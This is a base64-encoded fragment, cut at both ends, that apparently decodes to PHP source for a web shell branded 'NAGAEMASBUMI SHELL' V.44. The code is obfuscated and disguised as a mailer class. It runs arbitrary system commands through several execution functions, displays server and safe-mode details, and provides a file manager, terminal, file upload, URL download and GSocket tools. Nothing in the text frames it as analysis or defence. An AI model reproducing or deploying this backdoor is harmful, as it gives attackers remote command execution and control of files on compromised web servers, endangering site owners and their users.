cnLCAkcG8pOyAkZl9wciA9IGltcGxvZGUoJycsICRwcik7CiAgICAgICAgJGZ1bmNzID0gWyRmX20sICRmX2UsICRmX3NlLCAkZl9wYSwgJGZfcG8sICRmX3ByXTsKICAgICAgICBmb3JlYWNoICgkZnVuY3MgYXMgJGYpIHsKICAgICAgICAgICAgaWYgKCFAZnVuY3Rpb25fZXhpc3RzKCRmKSB8fCBzdHJpcG9zKCR0aGlzLT5tYWlsRGlzYWJsZWQsICRmKSAhPT0gZmFsc2UpIGNvbnRpbnVlOwogICAgICAgICAgICBzd2l0Y2ggKCRmKSB7CiAgICAgICAgICAgICAgICBjYXNlICRmX206IEBvYl9zdGFydCgpOyAkZigkY21kKTsgJG91dHB1dCA9IEBvYl9nZXRfY2xlYW4oKTsgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICRmX2U6ICRhcnIgPSBbXTsgJGYoJGNtZCwgJGFycik7ICRvdXRwdXQgPSBpbXBsb2RlKCJcbiIsICRhcnIpOyBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJGZfc2U6ICRvdXRwdXQgPSAkZigkY21kKTsgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICRmX3BhOiBAb2Jfc3RhcnQoKTsgJGYoJGNtZCk7ICRvdXRwdXQgPSBAb2JfZ2V0X2NsZWFuKCk7IGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAkZl9wbzogJHAgPSAkZigkY21kLCAncicpOyBpZiAoJHApIHsgd2hpbGUgKCFAZmVvZigkcCkpICRvdXRwdXQgLj0gQGZyZWFkKCRwLCAxMDI0KTsgQHBjbG9zZSgkcCk7IH0gYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICRmX3ByOiAkZGVzY3JpcHRvcnNwZWMgPSBbMCA9PiBbInBpcGUiLCAiciJdLCAxID0+IFsicGlwZSIsICJ3Il0sIDIgPT4gWyJwaXBlIiwgInciXV07ICRwcm9jZXNzID0gJGYoJGNtZCwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpOyBpZiAoQGlzX3Jlc291cmNlKCRwcm9jZXNzKSkgeyAkb3V0cHV0ID0gQHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKSAuIEBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1syXSk7IEBmY2xvc2UoJHBpcGVzWzBdKTsgQGZjbG9zZSgkcGlwZXNbMV0pOyBAZmNsb3NlKCRwaXBlc1syXSk7IEBwcm9jX2Nsb3NlKCRwcm9jZXNzKTsgfSBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJG91dHB1dCkgYnJlYWs7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkb3V0cHV0OwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBoZWFkZXJMaW5lKCkKICAgIHsKICAgICAgICAkdGhlbWUgPSAkdGhpcy0+bWFpbFRoZW1lOyAkZW5jb2RpbmcgPSAkdGhpcy0+bWFpbEVuY29kaW5nOyAkY3dkID0gJHRoaXMtPm1haWxQYXRoOyAkcm9vdCA9ICR0aGlzLT5tYWlsUm9vdDsgJGJhc2UgPSAkdGhpcy0+bWFpbEJhc2U7ICRpZHggPSAkdGhpcy0+bWFpbEluZGV4OyAkc2FmZSA9ICR0aGlzLT5tYWlsU2FmZTsgJG9zID0gJHRoaXMtPm1haWxPUzsKICAgICAgICBpZiAoZW1wdHkoJF9QT1NUWyJjaCJdKSkgJF9QT1NUWyJjaCJdID0gJGVuY29kaW5nOwogICAgICAgIGVjaG8gIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgLiAkX1BPU1RbImNoIl0gLiAiJz48dGl0bGU+IiAuICRfU0VSVkVSWyJIVFRQX0hPU1QiXSAuICIgLSBOQUdBRU1BU0JVTUkgU0hFTEw8L3RpdGxlPjxzdHlsZT5ib2R5e2JhY2tncm91bmQtY29sb3I6IzQ0NDtjb2xvcjojZTFlMWUxO31ib2R5LHRkLHRoe2ZvbnQ6IDlwdCBMdWNpZGEsVmVyZGFuYTttYXJnaW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7Y29sb3I6I2UxZTFlMTt9dGFibGUuaW5mb3tjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzIyMjt9c3BhbixoMSxhe2NvbG9yOiAiIC4gJHRoZW1lIC4gIiAhaW1wb3J0YW50O31zcGFue2ZvbnQtd2VpZ2h0OiBib2xkZXI7fXNwYW4ud2Z3e2ZvbnQtd2VpZ2h0Om5vcm1hbDt9aDF7Ym9yZGVyLWxlZnQ6NXB4IHNvbGlkICIgLiAkdGhlbWUgLiAiO3BhZGRpbmc6IDJweCA1cHg7Zm9udDogMTRwdCBWZXJkYW5hO2JhY2tncm91bmQtY29sb3I6IzIyMjttYXJnaW46MHB4O31kaXYuY29udGVudHtwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzMzMzt9YXt0ZXh0LWRlY29yYXRpb246bm9uZTt9YTpob3Zlcnt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO30ubWwxe2JvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzt9LmJpZ2FyZWF7d2lkdGg6MTAwJTtoZWlnaHQ6MzAwcHg7fWlucHV0LHRleHRhcmVhLHNlbGVjdHttYXJnaW46MDtjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzU1NTtib3JkZXI6MXB4IHNvbGlkICIgLiAkdGhlbWUgLiAiOyBmb250OiA5cHQgTW9ub3NwYWNlLCdDb3VyaWVyIE5ldyc7fWZvcm17bWFyZ2luOjBweDt9I3Rvb2xzVGJse3RleHQtYWxpZ246Y2VudGVyO30udG9vbHNJbnB7d2lkdGg6NTAwcHh9Lm1haW4gdGh7dGV4dC1hbGlnbjpsZWZ0O2JhY2tncm91bmQtY29sb3I6IzVlNWU1ZTt9Lm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlfS5sMXtiYWNrZ3JvdW5kLWNvbG9yOiM0NDR9Lmwye2JhY2tncm91bmQtY29sb3I6IzMzM31wcmV7Zm9udC1mYW1pbHk6Q291cmllcixNb25vc3BhY2U7fS5zdWNjZXNze2NvbG9yOiMyNWZmMDA7fS5lcnJvcntjb2xvcjojZmYwMDAwO308L3N0eWxlPjxzY3JpcHQ+dmFyIGNfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKHN0cl9yb3QxMygkY3dkKSkgLiAiJzsgdmFyIGFfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbImEiXSkgLiAiJzsgdmFyIGNoXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWyJjaCJdKSAuICInOyB2YXIgcF8gPSAnIiAuIChzdHJwb3MoQCRfUE9TVFsicCJdLCAiXG4iKSAhPT0gZmFsc2UgPyAiIiA6IGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsicCJdLCAzKSkgLiAiJzsgdmFyIHhfID0gJyIgLiAoc3RycG9zKEAkX1BPU1RbIngiXSwgIlxuIikgIT09IGZhbHNlID8gIiIgOiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbIngiXSwgMykpIC4gIic7IHZhciBzXyA9ICciIC4gKHN0cnBvcyhAJF9QT1NUWyJzIl0sICJcbiIpICE9PSBmYWxzZSA/ICIiIDogaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWyJzIl0sIDMpKSAuICInOyB2YXIgZCA9IGRvY3VtZW50OyBmdW5jdGlvbiBzZXQoYSxjLHAseCxzLGNoKXtpZihhIT1udWxsKWQubWYuYS52YWx1ZT1hO2Vsc2UgZC5tZi5hLnZhbHVlPWFfO2lmKGMhPW51bGwpZC5tZi5jLnZhbHVlPWM7ZWxzZSBkLm1mLmMudmFsdWU9Y187aWYocCE9bnVsbClkLm1mLnAudmFsdWU9cDtlbHNlIGQubWYucC52YWx1ZT1wXztpZih4IT1udWxsKWQubWYueC52YWx1ZT14O2Vsc2UgZC5tZi54LnZhbHVlPXhfO2lmKHMhPW51bGwpZC5tZi5zLnZhbHVlPXM7ZWxzZSBkLm1mLnMudmFsdWU9c187aWYoY2ghPW51bGwpZC5tZi5jaC52YWx1ZT1jaDtlbHNlIGQubWYuY2gudmFsdWU9Y2hfO30gZnVuY3Rpb24gZyhhLGMscCx4LHMsY2gpe3NldChhLGMscCx4LHMsY2gpO2QubWYuc3VibWl0KCk7fSBmdW5jdGlvbiB1dG9hKHN0cil7cmV0dXJuIHdpbmRvdy5idG9hKHVuZXNjYXBlKGVuY29kZVVSSUNvbXBvbmVudChzdHIpKSk7fSBmdW5jdGlvbiBhdG91KHN0cil7cmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudChlc2NhcGUod2luZG93LmF0b2Ioc3RyKSkpO30gZnVuY3Rpb24gcm90MTMoc3RyKXt2YXIgaW5wdXQ9J0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXonOyB2YXIgb3V0cHV0PSdOT1BRUlNUVVZXWFlaQUJDREVGR0hJSktMTW5vcHFyc3R1dnd4eXphYmNkZWZnaGlqa2xtJzsgdmFyIGluZGV4PXg9PiBpbnB1dC5pbmRleE9mKHgpOyB2YXIgdHJhbnNsYXRlPXg9PiBpbmRleCh4KSA+IC0xID8gb3V0cHV0W2luZGV4KHgpXSA6IHg7IHJldHVybiBzdHIuc3BsaXQoJycpLm1hcCh0cmFuc2xhdGUpLmpvaW4oJycpO30gdmFyIGN2aXM9ZmFsc2U7IGZ1bmN0aW9uIHNob3coKXtpZighY3Zpcyl7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhdCcpLmlubmVySFRNTD0nTGlua3MnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjd2QnKS5zdHlsZS5kaXNwbGF5PSdpbmxpbmUnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsaW5rcycpLnN0eWxlLmRpc3BsYXk9J25vbmUnO2N2aXM9dHJ1ZTt9ZWxzZXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmF0JykuaW5uZXJIVE1MPSdUZXh0Jztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY3dkJykuc3R5bGUuZGlzcGxheT0nbm9uZSc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xpbmtzJykuc3R5bGUuZGlzcGxheT0naW5saW5lJztjdmlzPWZhbHNlO319PC9zY3JpcHQ+PC9oZWFkPjxib2R5Pjxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWE+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Yz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXg+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaD48L2Zvcm0+IjsKICAgICAgICAkZnJlZVNwYWNlID0gMDsgJHRvdGFsU3BhY2UgPSAwOyAkdW5hbWUgPSAiIjsKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJkaXNrX2ZyZWVfc3BhY2UiKSkgJGZyZWVTcGFjZSA9IEBkaXNrX2ZyZWVfc3BhY2UoJGN3ZCk7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygiZGlza190b3RhbF9zcGFjZSIpKSAkdG90YWxTcGFjZSA9IEBkaXNrX3RvdGFsX3NwYWNlKCRjd2QpOwogICAgICAgICR0b3RhbFNwYWNlID0gJHRvdGFsU3BhY2UgPyAkdG90YWxTcGFjZSA6IDE7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygicGhwX3VuYW1lIikpICR1bmFtZSA9IEBwaHBfdW5hbWUoKTsKICAgICAgICBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygicGhwaW5mbyIpKSB7IG9iX3N0YXJ0KCk7IHBocGluZm8oKTsgJGluZm8gPSBvYl9nZXRfY2xlYW4oKTsgaWYgKGZhbHNlICE9PSBwcmVnX21hdGNoKCIhPHRyPjx0ZCBjbGFzcz1cImVcIj5TeXN0ZW1cXHMqPC90ZD48dGQgY2xhc3M9XCJ2XCI+KFteXFw8XSspIWkiLCAkaW5mbywgJG1hdGNoZXMpKSAkdW5hbWUgPSB0cmltKCRtYXRjaGVzWzFdKTsgfQogICAgICAgICRicmVhZGNydW1iID0gIiI7ICRwYXJ0cyA9IEBleHBsb2RlKCIvIiwgJGN3ZCk7ICRjb3VudCA9IGNvdW50KCRwYXJ0cyk7CiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJGNvdW50IC0gMTsgJGkrKykgeyAkYnJlYWRjcnVtYiAuPSAiPGEgaHJlZj0nIycgb25jbGljaz0nZyhcImZtXCIsXCIiOyBmb3IgKCRqID0gMDsgJGogPD0gJGk7ICRqKyspICRicmVhZGNydW1iIC49IHN0cl9yb3QxMygkcGFydHNbJGpdKSAuICIvIjsgJGJyZWFkY3J1bWIgLj0gIlwiLFwiXCIsXCJcIixcIlwiKSc+Ii4gKCRwYXJ0c1skaV0gPT0gIiIgPyAiLyIgOiBodG1sc3BlY2lhbGNoYXJzKCRwYXJ0c1skaV0pKSAuICI8L2E+LyI7IH0KICAgICAgICAkY2hhcnNldHMgPSBhcnJheSgiVVRGLTgiLCAiV2luZG93cy0xMjUxIiwgIktPSTgtUiIsICJLT0k4LVUiLCAiY3A4NjYiKTsgJGNoYXJzZXRPcHRpb25zID0gIiI7CiAgICAgICAgZm9yZWFjaCAoJGNoYXJzZXRzIGFzICRpdGVtKSAkY2hhcnNldE9wdGlvbnMgLj0gIjxvcHRpb24gdmFsdWU9XCIiIC4gJGl0ZW0gLiAiXCIgIiAuIChAJF9QT1NUWyJjaCJdID09ICRpdGVtID8gInNlbGVjdGVkIiA6ICIiKSAuICI+IiAuICRpdGVtIC4gIjwvb3B0aW9uPiI7CiAgICAgICAgJG1lbnVJdGVtcyA9IGFycmF5KCJGaWxlcyIgPT4gImZtIiwgIlNlYXJjaCIgPT4gInNlYXJjaCIsICJHU29ja2V0IiA9PiAiZ3MiLCAiQ2xvbmUiID0+ICJjbG9uZSIsICJUZXJtaW5hbCIgPT4gInRlcm12NCIsICJQcm9jZXNzZXMiID0+ICJwcm9jbW9uIik7CiAgICAgICAgJG1lbnVIdG1sID0gIiI7IGZvcmVhY2ggKCRtZW51SXRlbXMgYXMgJG5hbWUgPT4gJHZhbCkgJG1lbnVIdG1sIC49ICI8dGggd2lkdGg9XCIiIC4gKGludCkoMTAwIC8gY291bnQoJG1lbnVJdGVtcykpIC4gIiVcIj5bIDxhIGhyZWY9XCIjXCIgb25jbGljaz1cImcoJyIgLiAkdmFsIC4gIicsbnVsbCwnJywnJywnJylcIj4iIC4gJG5hbWUgLiAiPC9hPiBdPC90aD4iOwogICAgICAgICRkcml2ZXMgPSAiIjsgaWYgKCRvcyA9PSAid2luIikgeyBmb3JlYWNoIChyYW5nZSgiYyIsICJ6IikgYXMgJGRyaXZlKSBpZiAoQGlzX2RpcigkZHJpdmUgLiAiOlxcIikpICRkcml2ZXMgLj0gIjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImcoJ2ZtJywnIiAuIHN0cl9yb3QxMygkZHJpdmUgLiAiOi8iKSAuICInKVwiPlsgIiAuICRkcml2ZSAuICIgXTwvYT4gIjsgfQogICAgICAgICRzZXJ2ZXJJcCA9IEAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXSA/OiBAZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiU0VSVkVSX05BTUUiXSk7CiAgICAgICAgJHNlcnZlclNvZnQgPSAnJzsKICAgICAgICBpZiAoIWVtcHR5KCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSkpIHsKICAgICAgICAgICAgJHNlcnZlclNvZnQgPSAkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ107CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHNydkNoZWNrID0gJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCdodHRwZCAtdiAyPi9kZXYvbnVsbCB8fCBhcGFjaGUyIC12IDI+L2Rldi9udWxsIHx8IG5naW54IC12IDI+JjEgfHwgbGlnaHR0cGQgLXYgMj4vZGV2L251bGwgfHwgbGl0ZXNwZWVkIC12IDI+L2Rldi9udWxsIHx8IGNhZGR5IHZlcnNpb24gMj4vZGV2L251bGwnKTsKICAgICAgICAgICAgaWYgKCFlbXB0eSh0cmltKCRzcnZDaGVjaykpKSB7ICRzZXJ2ZXJTb2Z0ID0gdHJpbShzdHJ0b2soJHNydkNoZWNrLCAiXG4iKSk7IH0KICAgICAgICAgICAgZWxzZSB7ICRzZXJ2ZXJTb2Z0ID0gJ1Vua25vd24nOyB9CiAgICAgICAgfQogICAgICAgICRzZXJ2ZXJUeXBlID0gJ1Vua25vd24nOwogICAgICAgICRzcnZMb3dlciA9IHN0cnRvbG93ZXIoJHNlcnZlclNvZnQpOwogICAgICAgIGlmIChzdHJwb3MoJHNydkxvd2VyLCAnYXBhY2hlJykgIT09IGZhbHNlKSB7ICRzZXJ2ZXJUeXBlID0gJ0FwYWNoZSc7IH0KICAgICAgICBlbHNlaWYgKHN0cnBvcygkc3J2TG93ZXIsICduZ2lueCcpICE9PSBmYWxzZSkgeyAkc2VydmVyVHlwZSA9ICdOZ2lueCc7IH0KICAgICAgICBlbHNlaWYgKHN0cnBvcygkc3J2TG93ZXIsICdsaXRlc3BlZWQnKSAhPT0gZmFsc2UgfHwgc3RycG9zKCRzcnZMb3dlciwgJ2xzd3MnKSAhPT0gZmFsc2UpIHsgJHNlcnZlclR5cGUgPSAnTGl0ZVNwZWVkJzsgfQogICAgICAgIGVsc2VpZiAoc3RycG9zKCRzcnZMb3dlciwgJ2xpZ2h0dHBkJykgIT09IGZhbHNlKSB7ICRzZXJ2ZXJUeXBlID0gJ0xpZ2h0dHBkJzsgfQogICAgICAgIGVsc2VpZiAoc3RycG9zKCRzcnZMb3dlciwgJ2NhZGR5JykgIT09IGZhbHNlKSB7ICRzZXJ2ZXJUeXBlID0gJ0NhZGR5JzsgfQogICAgICAgIGVsc2VpZiAoc3RycG9zKCRzcnZMb3dlciwgJ2lpcycpICE9PSBmYWxzZSkgeyAkc2VydmVyVHlwZSA9ICdJSVMnOyB9CiAgICAgICAgZWxzZWlmIChzdHJwb3MoJHNydkxvd2VyLCAnb3BlbmxpdGVzcGVlZCcpICE9PSBmYWxzZSkgeyAkc2VydmVyVHlwZSA9ICdPcGVuTGl0ZVNwZWVkJzsgfQogICAgICAgIGVsc2UgeyAkc2VydmVyVHlwZSA9IGh0bWxzcGVjaWFsY2hhcnMoc3Vic3RyKCRzZXJ2ZXJTb2Z0LCAwLCA1MCkpOyB9CiAgICAgICAgZWNobyAiPHRhYmxlIGNsYXNzPWluZm8gY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPjx0ZCB3aWR0aD0xPjxzcGFuPjxmb250IGNvbG9yPXJlZD5JbmZvOjwvZm9udD48YnI+VW5hbWU6PGJyPlBIUDo8YnI+SEREOjxicj5TZXJ2ZXI6PGJyPkNXRDoiIC4gKCRvcyA9PSAid2luIiA/ICI8YnI+RHJpdmVzOiIgOiAiIikgLiAiPC9zcGFuPjwvdGQ+PHRkPjx1PjxiPk5BR0FFTUFTQlVNSTwvYj4gLSBWLjQ0PC91Pjxicj48bm9icj4iIC4gKCR1bmFtZSA/IHN1YnN0cigkdW5hbWUsIDAsIDEyMCkgOiAiTi9BIikgLiAiPC9ub2JyPjxicj4iIC4gQHBocHZlcnNpb24oKSAuICIgPHNwYW4+U2FmZSBtb2RlOjwvc3Bhbj4gIiAuICgkc2FmZSA/ICI8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+IiA6ICI8Zm9udCBjb2xvcj1ncmVlbj48Yj5PRkY8L2I+PC9mb250PiIpIC4gIiA8c3Bhbj5EYXRldGltZTo8L3NwYW4+ICIgLiBkYXRlKCJZLW0tZCBIOmk6cyIpIC4gIjxicj4iIC4gKCR0b3RhbFNwYWNlID8gJHRoaXMtPmZvcm1hdFNpemUoJHRvdGFsU3BhY2UpIDogIiIpIC4gIiA8c3Bhbj5GcmVlOjwvc3Bhbj4gIiAuIChpc3NldCgkZnJlZVNwYWNlKSA/ICR0aGlzLT5mb3JtYXRTaXplKCRmcmVlU3BhY2UpIDogIiIpIC4gIiAoIiAuIChpc3NldCgkZnJlZVNwYWNlKSAmJiAkdG90YWxTcGFjZSA/IChpbnQpKCRmcmVlU3BhY2UgLyAkdG90YWxTcGFjZSAqIDEwMCkgOiAiMCIpIC4gIiUpPGJyPjxzcGFuPlR5cGU6PC9zcGFuPiA8Zm9udCBjb2xvcj0nY3lhbic+IiAuICRzZXJ2ZXJUeXBlIC4gIjwvZm9udD4gPHNwYW4+U29mdHdhcmU6PC9zcGFuPiAiIC4gaHRtbHNwZWNpYWxjaGFycyhzdWJzdHIoJHNlcnZlclNvZnQsIDAsIDgwKSkgLiAiPGJyPjxzcGFuIGlkPVwibGlua3NcIiBjbGFzcz1cIndmd1wiPiIgLiAkYnJlYWRjcnVtYiAuICIgIiAuICR0aGlzLT5nZXRQZXJtc0NvbG9yKCRjd2QpIC4gIiA8YSBocmVmPSMgb25jbGljaz1cImcoJ2ZtJywnIiAuIHN0cl9yb3QxMygkYmFzZSkgLiAiJywnJywnJywnJylcIj5bIHJvb3QgXTwvYT4gPGEgaHJlZj0jIG9uY2xpY2s9XCJnKCdmbScsJyIgLiBzdHJfcm90MTMoJHJvb3QpIC4gIicsJycsJycsJycpXCI+WyBob21lIF08L2E+PC9zcGFuPjxzcGFuIGlkPVwiY3dkXCIgc3R5bGU9XCJkaXNwbGF5Om5vbmU7XCIgY2xhc3M9XCJ3ZndcIj48aW5wdXQgc2l6ZT0iIC4gKHN0cmxlbigkY3dkKSArIDIyKSAuICIgdHlwZT10ZXh0IHZhbHVlPVwiIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGN3ZCkgLiAiXCI+PC9zcGFuPiA8YSBocmVmPSMgb25jbGljaz1cInNob3coKTtcIj48Zm9udCBjb2xvcj0jZmZmIGlkPVwiYmF0XCI+VGV4dDwvZm9udD48L2E+PGJyPiIgLiAkZHJpdmVzIC4gIjwvdGQ+PHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PG5vYnI+PHNlbGVjdCBvbmNoYW5nZT1cImcobnVsbCxudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudmFsdWUpXCI+PG9wdGdyb3VwIGxhYmVsPVwiUGFnZSBjaGFyc2V0XCI+IiAuICRjaGFyc2V0T3B0aW9ucyAuICI8L29wdGdyb3VwPjwvc2VsZWN0Pjxicj48c3Bhbj5TZXJ2ZXIgSVA6PC9zcGFuPjxicj4iIC4gJHNlcnZlcklwIC4gIjxicj48c3Bhbj5DbGllbnQgSVA6PC9zcGFuPjxicj4iIC4gJF9TRVJWRVJbIlJFTU9URV9BRERSIl0gLiAiPC9ub2JyPjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSBzdHlsZT1cImJvcmRlci10b3A6MnB4IHNvbGlkICMzMzM7XCIgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPiIgLiAkbWVudUh0bWwgLiAiPC90cj48L3RhYmxlPjxkaXYgc3R5bGU9XCJtYXJnaW46NVwiPiI7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGVuZEJvdW5kYXJ5KCkKICAgIHsKICAgICAgICAkY3dkID0gJHRoaXMtPm1haWxQYXRoOwogICAgICAgICRjd2RFbmNvZGVkID0gc3RyX3JvdDEzKCRjd2QpOwogICAgICAgICR3cml0YWJsZSA9IEBpc193cml0YWJsZSgkY3dkKSA/ICIgPGZvbnQgY29sb3I9J2dyZWVuJz4oV3JpdGVhYmxlKTwvZm9udD4iIDogIiA8Zm9udCBjb2xvcj1yZWQ+KE5vdCB3cml0YWJsZSk8L2ZvbnQ+IjsKICAgICAgICBlY2hvICI8L2Rpdj48dGFibGUgY2xhc3M9aW5mbyBpZD10b29sc1RibCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJSBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzMzMztib3JkZXItYm90dG9tOjJweCBzb2xpZCAjMzMzOyc+PHRyPjx0ZD48Zm9ybSBvbnN1Ym1pdD0nZyhcImZtXCIscm90MTModGhpcy5jLnZhbHVlKSxcIlwiKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5DaGFuZ2UgZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGN3ZCkgLiAiJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD48dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdmdCcsJyIgLiAkY3dkRW5jb2RlZCAuICInLHJvdDEzKHRoaXMuZi52YWx1ZSksJ3ZpZXcnKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+UmVhZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD48L3RyPjx0cj48dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdmbScsJyIgLiAkY3dkRW5jb2RlZCAuICInLCdta2Rpcicscm90MTModGhpcy5kLnZhbHVlKSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZGlyOjwvc3Bhbj4iIC4gJHdyaXRhYmxlIC4gIjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1kPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPjx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ2Z0JywnIiAuICRjd2RFbmNvZGVkIC4gIicscm90MTModGhpcy5mLnZhbHVlKSwnbWtmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+IiAuICR3cml0YWJsZSAuICI8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD48L3RyPjx0cj48dGQ+PGZvcm0gbWV0aG9kPSdwb3N0Jz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSd0ZXJtdjQnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIgLiAkY3dkRW5jb2RlZCAuICInPjxzcGFuPlF1aWNrIFRlcm1pbmFsOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Y21kX3Y0IHZhbHVlPScnIGF1dG9jb21wbGV0ZT0nb2ZmJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD48dGQ+PGZvcm0gbWV0aG9kPSdwb3N0JyBFTkNUWVBFPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdmbSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuICRjd2RFbmNvZGVkIC4gIic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cCB2YWx1ZT0ndXBsb2FkRmlsZSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2ggdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbImNoIl0pIC4gIic+PHNwYW4+VXBsb2FkIGZpbGU6PC9zcGFuPiIgLiAkd3JpdGFibGUgLiAiPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49Mj48Zm9ybSBtZXRob2Q9J3Bvc3QnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2ZtJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gJGN3ZEVuY29kZWQgLiAiJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wIHZhbHVlPSd1cmxEb3dubG9hZCc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2ggdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbImNoIl0pI